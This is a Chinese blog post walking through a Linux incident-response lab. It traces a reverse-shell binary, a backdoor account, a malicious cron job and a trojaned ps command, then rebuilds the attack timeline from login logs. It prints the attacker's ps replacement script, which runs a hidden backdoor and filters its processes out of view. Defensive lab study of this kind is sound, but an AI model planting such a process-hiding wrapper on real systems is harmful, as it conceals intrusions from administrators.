唉,我可算直到值守每天12小时看警报是多么怨种的一工作,本以为该结束了,结果又加了一天!!!!
还好我没放弃自己,一直在自学东西(也不是我愿意的,这也不是没有办法嘛,大家都太卷了)
那就自学了学应急响应。不得不说,大佬们是真好呀,我才在日报里说我刚过完应急响应的知识,梳理出流程,就有大佬给我发来了——三个靶场,够我挺过这难熬的两天了。
嘿嘿不能辜负大佬的期望,咱就好好表现吧
先搭个靶场
不得不说一体机就是快:
说一下环境配置的问题呀
就是刚安装的一体机,去看网络连接是这样的
192.168.266.131只有一条,没有靶场上说的SYN_SENT
这是因为网络没有打开,先把网络连接打开再操作,后面还有ssh要外联取文件
应急响应的过程
排查网络连接
netstat -anpt
查看服务器的网络连接,发现服务器192.168.226.132一直与恶意IP:192.168.226.131的6666端口连接,并且程序名为:shell.elf
PID:11393,15634,
根据PID号查找程序位置: /root/shell.elf
lsof -p 11393
查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12
弱弱的问一句不会头秃嘛,都这个点了
stat shell.elf
然后我用的是Xshell去取shell.elf放到微步检测里去跑一跑
排查历史命令
查看是否有黑客执行的命令
history
在 root账户下排查是否有黑客执行的命令
cd /root
cat .bash_history
排查后门账户
查看当前登录系统的用户
who
没有发现异常
查看特权账户
awk -F: '$3==0 {print$1}' /etc/passwd
可以看到有两个账户
那这个奇奇怪怪的wxiaoge就应该是黑客的账号了
查看可以远程登录的帐号信息
awk '/$1|$6/{print $1}' /etc/shadow
好了现在可以确定了,wxiaoge就是黑客的账号
接下来查看用户最近登录情况
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
排查crontab后门
查看服务器的定时任务
cd /var/spool/cron
cat root
发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件
排查是否有命令被替换
检查命令文件是否被替换
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化
执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改
查看ps命令内容
ls -al ps
cat ps
ps文件内容被修改成以下内容
#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"
#每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件
#grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息
查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500
这个日子不就是黑客wxiaoge登录的日子嘛
其实要是Linux使用不惯,可以试一试Xftp
到达 / 界面,就很明显有centos_core.elf,在这里有这种东西,就很明显不对劲
将 centos_core.elf 文件拔出来放在微步云沙箱检测是后门文件
再看看.hide_command/ps
日期并不是黑客入侵的日期
.hide_command/ps 文件为正常的ps文件
总结:
存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /centos_core.elf 后门文件就会被执行一次
总结
1、找到后门文件 :/root/shell.elf 、/centos_core.elf
2、找到后门账户:wxiaoge
3、找到恶意定时任务
4、ps命令被替留ps命令后门
清除后门文件
rm -rf /root/shell.elf
rm -rf /centos_core.elf
将ps命令删除再将 .hide_command/ps 恢复
rm -rf /usr/bin/ps
mv /.hide_command/ps /usr/bin/ps
删除后门账户
vi /etc/passwd
#vi编辑额passwd文件,按dd删除 wxiaoge那一行,之后保存并推出
应急响应溯源
查看后门
查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12
stat shell.elf
查看 定时任务 root 文件的创建时间为:2022-01-14 01:05:53
查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500
总结:
植入后门的顺序为: shell.elf 后门、centos_core.elf后门、ps命令替换后门、定时任务
排查安全日志
查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31
日志不是都一样的,时间,系统都会影响日志所在的位置
看看文件大小,肯定不会是 secure呀
cat secure-20220421 |grep Failed
查看爆破的次数、攻击IP、破的用户名
#查询有哪些IP在爆破命令
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c#查询被爆破的用户名都有哪些
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
接下来查看用户最近登录情况
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
发现 root 账户在1月13 日 21:57:56 登录了该服务器,在爆破的时间范围内(21:51:32——21:58:31)
wxiaoge 账户在 1月14 日 00:47:33登录了该服务器(其中IP地址 192.168.226.1 因为是模拟,没有公网地址,所以假设它是恶意IP)
溯源总结
黑客在1月13日21:51:32——21:58:31对服务器进行爆破,且在21:57:56 成功爆破出root账户密码并且进行登录,登录之后在1月14日00:51:12 植入了 shell.elf 后门、在00:57:03植入了 centos_core.elf后门、在 01:03:42植入了ps命令后门、在 01:05:53写了恶意定时任务,恶意IP:192.168.226.1
版权归原作者 正在过坎 所有, 如有侵权,请联系我们删除。